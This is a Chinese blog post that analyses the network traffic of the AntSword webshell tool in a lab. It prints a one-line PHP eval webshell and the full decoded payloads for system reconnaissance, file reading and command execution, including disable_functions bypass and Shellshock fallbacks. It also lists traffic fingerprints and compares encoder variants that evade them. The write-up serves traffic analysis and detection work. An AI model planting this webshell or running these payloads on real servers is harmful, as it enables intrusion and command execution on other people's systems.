AntSword 修改

AntSword

蚁剑 AntSword

AntSword - Github

版本号 2.11.1.1

在被植入 Webshell 的靶机上安装 Wireshark,过滤器 http and ip.addr == 192.168.2.1,Webshell 为 <?php eval($_POST['c']); ?>

default 编码器

测试连接

1
c=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22152b%22.%22b4e13%22%3Becho%20%40asenc(%24output)%3Becho%20%224077a%22.%2272009%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

URL 解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "152b"."b4e13";
echo @asenc($output);
echo "4077a"."72009";
}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
else {$R.="/";}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:
@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();};
asoutput();
die();

返回

1
152bb4e13/var/www/html	/	Linux ubuntu 5.8.0-49-generic #55~20.04.1-Ubuntu SMP Fri Mar 26 01:01:07 UTC 2021 x86_64	www-data4077a72009

查看文件

URL 解码后再对第二个参数的第三位开始 base64 解码,第三位开始是从 try 代码块得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
c=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "85290"."397460";echo @asenc($output);echo "03dbf"."32257";}
ob_start();
try{
$F=base64_decode(substr($_POST["c9c22403ae1dda"],2));
$P=@fopen($F,"r");
echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();};
asoutput();die();
&c9c22403ae1dda=RH/var/www/html/index.php

返回

1
2
3
4
85290397460<?php
eval($_POST['c']);
?>
03dbf32257

虚拟终端执行命令

URL 解码后,base64 解码同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
c=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput({
$output=ob_get_contents();
ob_end_clean();
echo "afd8"."20e2";
echo @asenc($output);
echo "58faf"."24032";}
ob_start();
try{
$p=base64_decode(substr($_POST["rfc498b2155762"],2));
$s=base64_decode(substr($_POST["vee0d1a6734246"],2));
$envstr=@base64_decode(substr($_POST["sf65ed2161f0f8"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}
else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr))
{
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v)
{
if (!empty($v))
{
@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; };
$c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
}
else {
mail("a@127.0.0.1", "", "", "-bv");
}
}
else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}
elseif(fe('passthru')){
@passthru($c,$ret);}
elseif(fe('shell_exec')){
print(@shell_exec($c));}
elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("
",$o));}
elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));}
@pclose($fp);}
elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}
elseif(fe('antsystem')){@antsystem($c);}
elseif(runshellshock($d, $c)) {return $ret;}
elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);}
else{$ret = 127;}
return $ret;};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();};asoutput();die();
&rfc498b2155762=T0/bin/sh
&sf65ed2161f0f8=Mh
&vee0d1a6734246=75cd "/var/www/html";whoami;echo [S];pwd;echo [E]

返回

1
2
3
4
5
afd820e2www-data
[S]
/var/www/html
[E]
58faf24032

www-data 是终端显示的用户名,/var/www/html是终端的输出,[S] [E]是分隔符

流量分析

通过以上常用功能,可以看出蚁剑的流量特征:

  • asenc 应该是在修改编码器时会改变的函数,但是本身就是一个特征
  • asoutput 使用缓冲区输出最后的结果
  • 将功能与参数分离,比如读取文件就会将读取文件的命令和希望读取的文件分别用两个参数传输,执行命令同理。参数名为随机的字母数字,参数值从第三位开始到最后可被 base64 解密
  • 返回的内容基本就是希望的到的输出和随机字母数字组成的分隔符,这个随机字母数字的分隔符在请求中会出现

其他默认编码器

使用了 rot13 编码器(比较容易直接看懂),测试连接的请求:

1
c=%40eval(%40str_rot13(%24_POST%5B'o9786c5eeb847b'%5D))%3B&o9786c5eeb847b=...

与原来的区别几乎没有

返回:

1
ea09c133/ine/jjj/ugzy	/	Yvahk hohagh 5.8.0-49-trarevp #55~20.04.1-Hohagh FZC Sev Zne 26 01:01:07 HGP 2021 k86_64	jjj-qngn12467f5

其他的几种默认解码器也类似,流量特征基本不变

PHP RSA 编码器

使用需要服务器开启 openssl 扩展

在 Antsword -> 编码管理 -> 编码管理 -> 新建编码器,选择 PHP RSA 新建一个编码器。在右侧 RSA 配置中生成密钥对,并复制下方的 shell 使用。

请求:

1
c=IMoF3ctOxVOR6p19%2BxwExu%2Bol3BMZg4HSG0uVL1JaAePP%2F6FCMV7OVvp21xEQqldZEP4VZQ11nh2SV3xGpcUuDTUf3ieb4uQS9bNQQ07UJA%2BGF9Ug5jvz1eLqZcszbvmm2aCetXM5k1G0pvlPXDLmS1bEOwdArUXOFPZPh%2FKI%2F4%3D%7CC5uxFWclgK4pD5VA89%2BFQyWsToxiosAtgvVY0u6zT1W3jfsQ90V02NsswJfc3amoH6Y9cvN6D0%2FNUFTegqOiSzuQLNVxoduj%2B3KNjQeZ1IrhDnXQ4Fo1FkLm4lX4moIVR52SNUarHAbIcKybQ%2B4dG1DFt%2FkLUGBcihKqASDCKok%3D%7CMC2QmR3DuBapBOrh%2B1AKQThcZbYi8uTQls1ysD4dyVOttzYkq1FCBdHsn9PXtp%2BgkXYiQsuqXTVemXchyLF5W6NNolLww334TJFog4ytMl564XjraWbLD9JajAgzqd3JfFyrsdnzQClKVNyCChxw%2BAC8GhrtnrvFGzaIwzZ4VKg%3D%7CWDcrKe%2FcGgiHVF%2BGn3o3oc0a3q367xNsuf7xveK73jbIljneg%2FgBzvRtrSwX%2Fdk5WrMdgoCbZ8pquTn4kdpOoei63iziYYnVyBZI8yJo4FpQ2qnsXnNh3djOuGodlXuJ3zWwLSB25CQlcjmjJydmnTJruNMu7jQ0mFrGnitkZG0%3D%7CpmnLN%2FslQqxNls6vQCoX1a%2BBjcFsTtYy%2F1LW%2BEfi7FQuYWGtyg0s%2B2AoiXgEEvih7wnuuR%2FG2fdPRcs%2F4NsqzqsjmWPqJhXXNIvEip1a%2FEAvDDk2ErQsYRk2BZP79odetrM%2BaoY5229lfPJy77KIgIGAOx9aVriZkjGmnMH2dAA%3D%7Cb8Lb8K8Is%2FqeRSIKJ9JHwgU%2BPyLdwMuL%2FNUhGcPNlmXCMFjGnZOCrx3la2zqot6vIv6gsVjeihU8WtI66ZTQGv6JgSuYzT%2BB%2Bc7G1DxpNQ3UjDyswTpzXTfvkrSbEzAanO3DXe4x5ng3Qxo963TY5xnhhaQK3N2r6HAGulODsZs%3D%7CQpYB6t6FPktKIbWbIM5%2Fk8TYYMAS4SEjnwOcl1vtZMXhr%2BzHTfwg7Yy47Xu7iIy0Rr4c%2FSjHAIhd0IO4f6%2FmGmovGu4%2FwWCQM%2FNKgZ4TgiGY2skR8R5JJyxDa%2FQNgZNJzxjTKDc%2BVDQo0He7GufuFWjOSvdNTUXlcDSlshPHZn4%3D%7CJT4GMz3U3aTokpmglcAKmQARMg5NBC0lja5CHhNIli928BV6sWT0W3GXjoY6wcBLrO9HtLndUFxeHolR85Tmn1OT4AYFhooIj8hYPBS6pa9Z0w%2FV6KlHfFOyvyU85gQWd2%2FtCaT6q26Q6G9hYRleFHxTrL%2B57jvIH%2B5j6H5nHZw%3D%7CVYVbGSTZziAiVfOvNcFLT0X53WbN0i1CzNSnhFl7kJcwphMIsC83dkkYApGo5FyNjnMwpXuYO1DPigqtUOBSBH7QkzW3cP1MDavxvXcfQXrK6HtXDyinXtDNsor1YWpJA5VcKyjinrgbGvQL3wpGYLTR5kHCmMXtt8tkTwJYMBU%3

在流量上可以看出已经是完全的二进制流了,缺点在于使用 RSA 编码器需要服务器端开启 openssl 扩展,而且上传 shell 时有明显的BEGIN PUBLIC KEYEND PUBLIC KEY。此外,蚁剑没有提供默认的 RSA 解码器,需要自己编写。

之后发现,在进行命令执行或虚拟终端时,会有其他参数(上面提到过),这些参数没有经过编码器,还是截断后的 base64,可能被识别。

自定义编码器

蚁剑的编码器和解码器在antData/encoders目录下,实现解码器只需实现相应文件内的module.exports函数即可。

编码器中蚁剑发送的 HTTP 请求为 data 这个数组的内容。data 的键为参数名,值为参数值。data['_']存放原始 payload,处理完成后要删除这个元素 ,否则会发送原始 payload。处理完成后 return data 数组即可。

解码器类似

实现一个编码器

待续

作者

lll

发布于

2021-04-10

更新于

2022-09-19

许可协议